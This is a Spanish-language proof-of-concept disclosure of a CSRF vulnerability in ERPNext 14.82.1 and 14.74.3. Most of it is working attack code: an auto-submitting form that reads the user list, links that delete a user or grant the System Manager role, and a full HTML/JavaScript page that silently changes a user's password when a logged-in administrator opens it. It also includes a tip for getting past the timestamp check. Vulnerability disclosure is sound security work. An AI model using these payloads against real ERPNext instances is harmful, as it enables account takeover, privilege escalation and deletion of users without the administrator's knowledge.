
prueba de concepto
Se descubrió una vulnerabilidad de Cross-Site Request Forgery (CSRF) en ERPNext 14.82.1 y 14.74.3, que permite a atacantes realizar acciones no autorizadas como:
La vulnerabilidad se deriva de la falta de protección CSRF en endpoints críticos de la API administrativa. Si un administrador autenticado visita un sitio web malicioso, su sesión se aprovecha para realizar estas acciones sin su consentimiento.
<form method="GET" action="http://localhost:8080/api/method/frappe.desk.reportview.get">
<input type="hidden" name="doctype" value="User">
<input type="hidden" name="fields" value='["name", "user_type", "enabled"]'>
<input type="hidden" name="view" value="List">
<input type="hidden" name="page_length" value="100">
<input type="submit" value="Submit">
</form>
<script>document.forms[0].submit();</script>
<a href="http://localhost:8080/api/method/frappe.desk.reportview.delete_items?items=%5B%221%401.com%22%5D&doctype=User">
Haz clic para eliminar usuario
</a>
<a href="http://localhost:8080/api/method/frappe.desk.form.save.savedocs?doc=PAYLOAD_REDACTED&action=Save">
Agregar rol "System Manager" al usuario
</a>
💡 Consulta el payload JSON completo en el repositorio:
/PoCs/privilege_escalation.html
<!DOCTYPE html>
<html>
<head>
<title>Ataque CSRF</title>
</head>
<body>
<script>
function performCSRF() {
// URL de la API objetivo
var targetUrl = "http://localhost:8080/api/method/frappe.desk.form.save.savedocs";
// Payload JSON
var jsonPayload = JSON.stringify({"name":"[email protected]","owner":"Administrator","creation":"2025-02-09 03:50:24.709718","modified":"2025-02-09 09:49:02.334015","modified_by":"Administrator","docstatus":0,"idx":0,"enabled":1,"email":"[email protected]","first_name":"sdfvfvdfv","full_name":"sdfvfvdfv","username":"sdfvfvdfv","language":"en","time_zone":"America/Adak","send_welcome_email":1,"unsubscribed":0,"mute_sounds":0,"desk_theme":"Light","search_bar":1,"notifications":1,"list_sidebar":1,"bulk_actions":1,"view_switcher":1,"form_sidebar":1,"timeline":1,"dashboard":1,"new_password":"User123!@#","logout_all_sessions":1,"reset_password_key":"e801df93fa208e01314c981192fa842e63838d13bd75a76cba97d005d9eee513","last_reset_password_key_generated_on":"2025-02-09 03:50:25.700259","document_follow_notify":0,"document_follow_frequency":"Daily","follow_created_documents":0,"follow_commented_documents":0,"follow_liked_documents":0,"follow_assigned_documents":0,"follow_shared_documents":0,"thread_notify":1,"send_me_a_copy":0,"allowed_in_mentions":1,"simultaneous_sessions":2,"login_after":0,"user_type":"Website User","login_before":0,"bypass_restrict_ip_check_if_2fa_enabled":0,"onboarding_status":"{}","doctype":"User","roles":[],"defaults":[],"block_modules":[],"social_logins":[{"name":"qvh4mjk9r2","owner":"Administrator","creation":"2025-02-09 03:50:25.190297","modified":"2025-02-09 03:50:25.190297","modified_by":"Administrator","docstatus":0,"idx":1,"provider":"frappe","userid":"575ca3b88fc3d1fa8d2d7f419b0af0f156ff912","parent":"[email protected]","parentfield":"social_logins","parenttype":"User","doctype":"User Social Login"}],"user_emails":[],"__onload":{"all_modules":["Accounts","Assets","Automation","Bulk Transaction","Buying","CRM","Communication","Contacts","Core","Custom","Desk","EDI","ERPNext Integrations","Email","Geo","Integrations","Maintenance","Manufacturing","Portal","Printing","Projects","Quality Management","Regional","Selling","Setup","Social","Stock","Subcontracting","Support","Telephony","Utilities","Website","Workflow"]},"__last_sync_on":"2025-02-09T14:20:52.310Z","__unsaved":1});
var encodedPayload = (jsonPayload);
// Crear y enviar el formulario
var form = document.createElement("form");
form.method = "GET";
form.action = targetUrl;
form.enctype = "application/x-www-form-urlencoded";
var input = document.createElement("input");
input.type = "hidden";
input.name = "doc"; // Nombre de parámetro correcto
input.value = encodedPayload; // Codificación correcta
var input2 = document.createElement("input");
input2.type = "hidden";
input2.name = "action"; // Nombre de parámetro correcto
input2.value = "Save"; // Codificación correcta
form.appendChild(input);
form.appendChild(input2);
document.body.appendChild(form);
form.submit();
}
// Ejecutar CSRF después de esperar para asegurar que las cookies estén configuradas
setTimeout(performCSRF, 3000);
</script>
</body>
</html>
Esta imagen simula que el administrador ingresó a un sitio web malicioso:

Nota: si la marca de tiempo de modificación es antigua, el sitio web puede mostrar este mensaje:

y para evitarlo, usa la página html http://localhost:8080/api/resource/User/[email protected][owner] y toma la marca de tiempo de modificación (para facilitar la PoC).

Cámbiala en el contenido de la página por la más reciente:

Una vez que lo envíes, ¡cambiará la contraseña del Usuario!

Si un usuario administrador autenticado visita esta página web, su sesión se utilizará para ejecutar la solicitud de cambio de contraseña de la cuenta sin ninguna interacción del usuario.
Un atacante aloja una página maliciosa. Si un administrador de ERPNext la visita mientras está conectado, su navegador activa automáticamente solicitudes manipuladas hacia ERPNext, causando modificaciones o eliminaciones de cuentas sin su conocimiento.
GET para acciones como guardar/eliminarSameSite=StrictDescubierto por Ahmed Thaiban Thvt0ne.
Esta investigación está destinada únicamente a fines defensivos. El objetivo es crear conciencia y fomentar prácticas de desarrollo seguro.